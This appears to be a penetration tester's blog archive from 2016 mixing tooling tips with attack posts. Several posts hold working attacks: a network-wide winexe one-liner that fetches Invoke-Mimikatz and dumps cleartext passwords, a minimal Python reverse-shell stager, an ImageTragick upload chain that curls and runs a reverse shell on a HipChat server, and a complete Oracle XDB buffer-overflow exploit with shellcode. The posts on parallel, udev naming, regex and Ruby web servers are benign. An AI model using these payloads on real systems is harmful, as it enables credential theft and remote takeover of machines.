Wednesday, June 29, 2016

Mimikatz All The Things

A while back I was onsite doing another easy-mode pentest that had local admin shared EVERYWHERE (come on guys) when the client walked in and bet me lunch that I couldn't get his password in the next 45 minutes. I don't know if he was doing it as a joke being as how he already knew I had local admin, or if he was genuinely in need of an illustration at just how quickly things can go bad. Either way, I had his permission to watch the world burn.

It was primarily a Windows network, with Server 2008 and Windows 7/8 for most the workstations. I tested the workstation in the conference room to determine they had Powershell, and knew I was in business.

PowerSploit includes a Powershell port of mimikatz which can pull cleartext wdigest creds stored in LSASS. There is a ton of literature as to how mimikatz does its magic online if you want to know more. Normally, I would conduct this kind of testing in a low and slow method, trying to evade detection but what the hell.

To start, I setup a web listener in the PowerSploit/Exfiltration directory:
cd ~/Tools/PowerSploit/Exfiltration; ruby -run -e httpd . -p 8080

I then threw the following one-liner together while the client counted down the minutes as they passed, let it smash against his entire network, and LOLed ~15 minutes later when I explained adequate password selection to his bewildered face.
sort -R targets.txt | parallel -P10 --timeout 60 --tag -q winexe --system --uninstall -U 'DOMAIN/USERNAME%PASSWORD' //{} "powershell \"IEX (New-Object Net.WebClient).DownloadString('http://<MY_IP>:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds\"" 2>; parallel.error | tee -a mimikatz_all_the_things.txt

So what is it doing? Let's break it down.

sort -R targets | #randomize the targets and pass them in
parallel -P10     #kick off parallel with 10 jobslots
--timeout 60      #kill each job if it exceeds 60 seconds
--tag             #tag each line of output, not really necessary but why not
-q winexe         #quote the following command and args
--system          #run winexe service as NT AUTH\SYSTEM
--uninstall       #uninstall the service when finished
-U 'CREDS'        #pass the login creds to winexe
//{}              #the magic; where parallel will substitute in the input 

Following that is a long block of Powershell, but it is fairly straightforward:
"powershell \"IEX (New-Object Net.WebClient).DownloadString('http://<MY_IP>:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds\""

The Powershell Invoke-Expression cmdlet downloads the Invoke-Mimikatz.ps1 Powershell script from our web listener, then passes the 'Invoke-Mimikatz -DumpCreds' argument to it.

Lastly, the we pass errors to a file we call 'parallel.error', or output is ran though tee to display on screen and also append the 'mimikatz_all_the_things.txt' file:
2>; parallel.error | tee -a mimikatz_all_the_things.txt

It's pretty easy to grep out the user I was looking for, but just to help illustrate I ran the output though a parsing script that I found somewhere online(sorry for lack of attribution random Internet saint):
cat mimikatz_all_the_things.txt|tr -d '\011\015' |awk '/Username/ { user=$0; getline; domain=$0; getline; print user " " domain " " $0}'|grep -v "* LM\|* NTLM\|Microsoft_OC1\|* Password : (null)"|awk '{if (length($12)>2) print $8 "\\" $4 ":" $12}'|sort -u

Which parses through the whole mimikatz output and outputs a super disturbingly beautiful listing of users and cleartext creds:
CLIENTS_DOMAIN\user01:password01
CLIENTS_DOMAIN\user02:password02
CLIENTS_DOMAIN\user03:password03
CLIENTS_DOMAIN\user04:password04
CLIENTS_DOMAIN\user05:password05
.
.

Bingo bango. Free lunch. Pretty tasty pizza I might add. Thanks for motivating me, Mr. Client.

Wednesday, June 15, 2016

The Smallest Python Reverse Shell

I've done quite a bit of searching and I'm fairly sure I've created the smallest Python reverse shell (not including simply using bash) of 77 characters. 100 characters is the smallest that I've ever seen on the web. If someone finds or comes up with something smaller, I'd love to see how you did it.

import socket as a
s=a.socket()
s.connect(("localhost",24))
exec(s.recv(999))

This could more accurately be considered a stager than an actual bind shell. What this does is open a socket connection to (in this case) localhost on port 24. It then receives input from the server and executes it internally as python code. This still requires you to send it the actual Python code to start the shell, which I just paste into my netcat listener once it connects.

The recv/exec combo seems to do weird things with new lines so I just paste in the entire thing as one line:

import pty,os;os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash");s.close()

So once the python script connects, paste that one liner into the netcat session and hit ctrl+d (so as to not append a \n) and then bam, a shell shows up.

Let's see the golfers play at it :D

EDIT: I golfed it. You can make the connect line shorter by replacing "localhost" with "127.1" which is equivalent but less characters. This would bring the total number of characters from 77 to 72.

Tuesday, May 17, 2016

Exploiting HipChat with ImageTragick

Hipchat uses the Imagemagick library to resize your custom emoticons. If you have access to upload your own emoticon image files to the server using the web interface (or API probably), you can use the Imagetragick vulnerability to get shell on the machine.

It turns out the ImageTragick's PoC didn't work on our server:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";|ls "-la)'
pop graphic-context

After quite a bit of mangling and testing, the following file contents, renamed to a .gif (HipChat doesn't accept .mvg files), will work:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";curl testserver:8000/test4")'
pop graphic-context

I could see the request for "test4" in my testserver's logs. woot. This means we have remote command execution on the server. Now all we have to do is get shell.

Now since I didn't have time to figure out how to make it a leet one-liner, I decided to break shell access into two requests. The first pulls the shell script to /tmp/ and the second executes the file.

The reverse shell I used was:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
I simply pasted that into a .sh on my testserver so the victim HipChat server could pull it down

I listened on my remote box with a basic ncat listener:
ncat -l -v 1234

Then I created the two separate exploit .gif files. The first .gif runs curl to download the python shell:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";curl testserver:8000/python_shell.sh -o /tmp/python_shell.sh")'
pop graphic-context

The second .gif executes the python shell:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";bash /tmp/python_shell.sh")'
pop graphic-context

(now that I think about it, you might be able to combine both files into one to only have to upload once, but I haven't tested that)

Once you upload that second gif, about a second or two later, you should see your shell come through on your ncat 1234 port:
$ uname -a
Linux hipchat.blah.com 3.4.0-54-generic #81~precise1-Ubuntu SMP Tue Jul 15 04:02:22 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

So ImageTragick is kind of a big deal in that it's stupid easy to exploit (at least in this case) and it's a fairly reliable command injection vuln.

Thursday, May 12, 2016

Using Parallel Instead of For Loops

For loops are an addiction of mine, I use them all day every day. Any time you have a tool that does one thing well but doesn't support multiple inputs or inputs from a file, I use a bash for loop. Unfortunately for loops work sequentially, one after the other. Once process runs, finishes, exits, and the next process starts, finishes, exits and so on.

Many times I've come across a tool or process that just hangs, and as a result hangs all the later processes as well. In situations where I think that is likely to happen, I'll use parallel.

Ok, so lets make a for loop that resolves the MX records of google.com

for i in $(host google.com | grep 'mail is' | cut -d ' ' -f7); do printf $i:; host $i | grep 'has address' | cut -d ' ' -f4; done
alt1.aspmx.l.google.com.:74.125.192.27
alt2.aspmx.l.google.com.:74.125.141.27
aspmx.l.google.com.:209.85.147.26
alt4.aspmx.l.google.com.:209.85.203.26
alt3.aspmx.l.google.com.:64.233.190.27

Great, nothing fancy there. Now lets say for some reason one iteration of that for loop is hanging and lets pretend we are using a tool (not "host") that has ridiculous timeouts (e.g. nikto on default), wouldn't it be great to run several all at the same time in groups and as one finishes it's spot in the group the next iteration populates it's place? yeah, thats what parallel does. Let's change that for loop to use parallel instead:

host google.com | grep 'mail is' | cut -d ' ' -f7 | parallel -j 5 -I{} -r "printf {}:; host {} | grep 'has address' | cut -d ' ' -f4"
alt2.aspmx.l.google.com.:209.85.202.27
alt3.aspmx.l.google.com.:108.177.15.27
aspmx.l.google.com.:209.85.201.27
alt4.aspmx.l.google.com.:74.125.136.27
alt1.aspmx.l.google.com.:173.194.68.27

This shows you how to send piped bash commands to parallel, instead of just single processes. In this way, it functions very similarly to the classic "while read line" looping structure.

BONUS:
The same command using xargs (very similar, works on OSX & nix):
host google.com | grep 'mail is' | cut -d ' ' -f7 | xargs -I {} sh -c "printf {}:; host {} | grep 'has address' | cut -d ' ' -f4"
aspmx.l.google.com.:209.85.232.27
alt3.aspmx.l.google.com.:64.233.167.27
alt2.aspmx.l.google.com.:74.125.24.27
alt1.aspmx.l.google.com.:64.233.186.27
alt4.aspmx.l.google.com.:74.125.136.26

Thursday, April 21, 2016

Configure Static Wifi Card Interface Names in Kali

I've always hated having to correlate the mac address of wlanX with whats printed on the sticker of the device (if it is at all) to find out which adapter is which in kali. Turns out you can can create static entries that tie to the MAC address of the adapter. Below are the steps:

  1. Plug in your device, make sure it shows up in kali with ifconfig/iwconfig (probably as wlan1...)
  2. Note the MAC address of the alfa card (or w/e card you have)
  3. open /etc/udev/rules.d/70-persistent-net.rules and look for the entry corresponding to the MAC you noted. It should look something like this:
    • # USB device 0x:0x (rt2800usb)
    • SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:c0:ca:87:5b:27", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="wlan*", NAME="wlan1"
  4. change "wlan1" to "alfa1" or whatever naming scheme you want, save the file
  5. unplug, replug
  6. dmesg should say:
    • [ 1341.218253] systemd-udevd[2381]: renamed network interface wlan0 to alfa1
  7. repeat with your next wifi adapter
That's it. You're basically just editing it's udev entry to have a different name. This persisted past several reboots and recognizes multiple different cards plugged in at once. You can use these new names exactly the same way as the old ones:

# iwconfig alfa1
alfa1     IEEE 802.11abgn  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off

I took a label maker I had laying around and printed out "alfa1, alfa2, tpl1, etc" and stuck them to the adapters themselves. Now I can find which adapter I need just by glancing at the spaghetti mess of wires and adapters.

Tuesday, April 5, 2016

Oracle XDB HTTP PASS Buffer Overflow in Python

I had to convert the msf module https://www.exploit-db.com/exploits/16809/ to python for a project so here it is:


#!/usr/bin/env python
#converted from https://www.exploit-db.com/exploits/16809/
#@atucom
import socket
import base64
rhost = '192.168.1.10'
rport = 8080
target = (rhost,rport)
#ret = "60616d46"
ret = "\x46\x6d\x61\x60" #Universal ret

#use msfvenom to change to your own payload
buf = "\xb8\xad\x82\x42\xbe\xdb\xcb\xd9\x74\x24\xf4\x5d\x29\xc9" +\
      "\xb1\x47\x83\xc5\x04\x31\x45\x0f\x03\x45\xa2\x60\xb7\x42" +\
      "\x54\xe6\x38\xbb\xa4\x87\xb1\x5e\x95\x87\xa6\x2b\x85\x37" +\
      "\xac\x7e\x29\xb3\xe0\x6a\xba\xb1\x2c\x9c\x0b\x7f\x0b\x93" +\
      "\x8c\x2c\x6f\xb2\x0e\x2f\xbc\x14\x2f\xe0\xb1\x55\x68\x1d" +\
      "\x3b\x07\x21\x69\xee\xb8\x46\x27\x33\x32\x14\xa9\x33\xa7" +\
      "\xec\xc8\x12\x76\x67\x93\xb4\x78\xa4\xaf\xfc\x62\xa9\x8a" +\
      "\xb7\x19\x19\x60\x46\xc8\x50\x89\xe5\x35\x5d\x78\xf7\x72" +\
      "\x59\x63\x82\x8a\x9a\x1e\x95\x48\xe1\xc4\x10\x4b\x41\x8e" +\
      "\x83\xb7\x70\x43\x55\x33\x7e\x28\x11\x1b\x62\xaf\xf6\x17" +\
      "\x9e\x24\xf9\xf7\x17\x7e\xde\xd3\x7c\x24\x7f\x45\xd8\x8b" +\
      "\x80\x95\x83\x74\x25\xdd\x29\x60\x54\xbc\x25\x45\x55\x3f" +\
      "\xb5\xc1\xee\x4c\x87\x4e\x45\xdb\xab\x07\x43\x1c\xcc\x3d" +\
      "\x33\xb2\x33\xbe\x44\x9a\xf7\xea\x14\xb4\xde\x92\xfe\x44" +\
      "\xdf\x46\x50\x15\x4f\x39\x11\xc5\x2f\xe9\xf9\x0f\xa0\xd6" +\
      "\x1a\x30\x6b\x7f\xb0\xca\xfb\x40\xed\xfd\xad\x28\xec\xfd" +\
      "\x40\x68\x79\x1b\x08\x7a\x2c\xb3\xa4\xe3\x75\x4f\x55\xeb" +\
      "\xa3\x35\x55\x67\x40\xc9\x1b\x80\x2d\xd9\xcb\x60\x78\x83" +\
      "\x5d\x7e\x56\xae\x61\xea\x5d\x79\x36\x82\x5f\x5c\x70\x0d" +\
      "\x9f\x8b\x0b\x84\x35\x74\x63\xe9\xd9\x74\x73\xbf\xb3\x74" +\
      "\x1b\x67\xe0\x26\x3e\x68\x3d\x5b\x93\xfd\xbe\x0a\x40\x55" +\
      "\xd7\xb0\xbf\x91\x78\x4a\xea\x23\x44\x9d\xd2\x51\xa4\x1d"

sploit1 = "A" * 4 + ":" + "A" * 442 + "\xeb\x64" + "\x90\x90" + ret + "\x90" *266 + "\xeb\x10" + "\x90" * 109 + buf
req  = "Authorization: Basic "+ base64.b64encode(sploit1) +"\r\n\r\n"
res  = "GET / HTTP/1.1\r\n" + "Host: " +rhost+":"+str(rport)+"\r\n" + req
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)
s.send(res)

Thursday, March 24, 2016

Hackers and Programming Languages


  The following is a list of very common programming languages and why a Pentester/Hacker should be at the very least familiar with them:


  •  Bash - Using linux, I'd wager the most important language to be proficient in. 
  •  Ruby - Many security tools are written in Ruby, extending metasploit, exploit dev, understanding/exploiting Rails vulns. Overall a very enjoyable language to program in.
  •   Python - Many security tools are written in python, extending veil/impacket, exploit dev, lots of RE/Forensics tools are written in python, huge and active community to build upon.
  •   C++ - Custom windows malware writing, gives you more direct access to the windows API
  •   PHP - crap ton of webapps/professional appliances/general web stuff is written in PHP
  •   Javascript - XSS/CSRF, NodeJS, super crazy fancy looking tools
  •   Java - Almost every single organization runs java somewhere. Java web apps, apache tomcat, Weblogic, any java app server, java RPC protocols. LOTS of vulnerabilities introduced because of java apps.
  •   C - Custom malware writing (in general), several security tools written in C, driver/kernel hacking
  •   Perl - Make yourself seem way older than you actually are. haha, jk. no really you don't need to learn perl.


  Other programming like things:

  •   Object Oriented Programming - Important for source code analysis and writing more powerful tools
  •   Programming Patterns - Certain programming patterns are not intuitive at all. Important to know when you are debugging other's code or doing source code analysis.
  •   HTML - Any place you'd have HTML injection or trying to get custom XSS/ or other browser centric vulns to pop
  •   XML - data storage, API data transfer format, SOAP, XXE injection
  •   JSON - Other than XML, most often used API format
  •   SQL - SQLi, intercepting SQL traffic


This list is by no means exhaustive or comprehensive, it's just typically the languages you'd most often encounter on pentests, exploit dev, or reverse engineering. If you can think of other uses for the languages or another language I missed, let me know.

Tuesday, March 15, 2016

Regex for SMB credentials

If you enjoy smbclient/winexe's format for specifying credentials than you will enjoy the regex I came up with to create groupings for the domain, username, and password. It also accounts for the fact that Active Directory usernames can contain spaces. Enough talk, take a look:

Regex: (?:([\w ]*)[\/\\])?([\w ]*)%([\S \t]*)

Sample Code:
#!/usr/bin/env ruby

def parseSMBCreds(creds)
  domain, user, password = creds.match(/(?:([\w ]*)[\/\\])?([\w ]*)%([\S \t]*)/).captures
end

domain,user,password = parseSMBCreds('lolwut/Jim Bo%Pas!@#$%^&*()<>?:"')
puts "User Domain: #{domain}"
puts "Username: #{user}"
puts "Password: #{password}"

domain,user,password = parseSMBCreds('lolwut/JimBo%Pas!@#$%^&*()<>?:"')
puts "User Domain: #{domain}"
puts "Username: #{user}"
puts "Password: #{password}"

domain,user,password = parseSMBCreds('JimBo%Pas!@#$%^&*()<>?:"')
puts "User Domain: #{domain}"
puts "Username: #{user}"
puts "Password: #{password}"

Run the script and view the results with different formats of creds:

There you go, feel free to use the regex/code in your own scripts to make your life easier.

Thursday, March 10, 2016

Ruby's One-liner HTTP Server

For years I relied on Python's SimpleHTTPServer module when I wanted to stand up an ad-hoc web service for file transfers. For example, using Python 2.x:
python -m SimpleHTTPServer 8080

Or with Python 3.x:
python -m http.server 8000

Now while this is in fact easy to remember and works quite well, it is one of the only times I ever use Python over my chosen language of Ruby. That was until I discovered the most excellently named lib 'un'. It has been included in main since Ruby 1.9.2 and allows us to stand up a web server in no time at all. For example:
ruby -run -e httpd . -p 8080

 A quick breakdown of what's happening here:
  • -r is the shorthand for a require statement in ruby. Since the library we are loading is called 'un', it reads as 'run', a fantastically clever name indeed. Obviously, you could also invoke it as '-r un' but that's nowhere near as clever.
  • -e invokes the 'httpd' method as defined in the un.rb library. 
  • . is indicated to host the current working directory as the DocumentRoot,
  • -p 8080 is setting the Port option. 
Take a look in the un.rb source and you'll see it is just standing up a WEBrick server in the background. 

Example of running this on my Mac:


Tuesday, March 8, 2016

Simple HTTPS Server in Ruby

I recently needed a braindead https server that was mildly configurable. Ruby Webrick provides a very simple HTTPS webserver in their examples. I modified it for sane defaults and some configuration:

#!/usr/bin/env ruby
require 'webrick'
require 'webrick/https'
require 'optparse'

options = {}
optparse = OptionParser.new do|opts|
   opts.banner = "Usage: #{$0} [options] ..." 
   opts.on( '-p', '--port PORT', 'The port to listen on. Default:8443' ) do|port|
     options[:port] = port
   end
   opts.on( '-d', '--docroot PATH', 'The directory to serve. Default: Current Dir' ) do|docroot|
     options[:docroot] = docroot
   end
   opts.on( '-h', '--help', 'Display this screen' ) do
     puts opts
     exit 1
   end
 end.parse!(ARGV)

docroot = options[:docroot] || '.'
port = options[:port] || 8443
cert_name = [
  %w[CN localhost],
]
server = WEBrick::HTTPServer.new(:Port => port,
                                 :SSLEnable => true,
                                 :DocumentRoot => File.expand_path(docroot),
                                 :SSLCertName => cert_name) #this will be a self signed cert

trap 'INT' do server.shutdown end
puts "Serving #{docroot} on port #{port}"
server.start

It automatically creates a self signed cert and by default serves the current directory over port 8443. You can change with -p port and -d directory.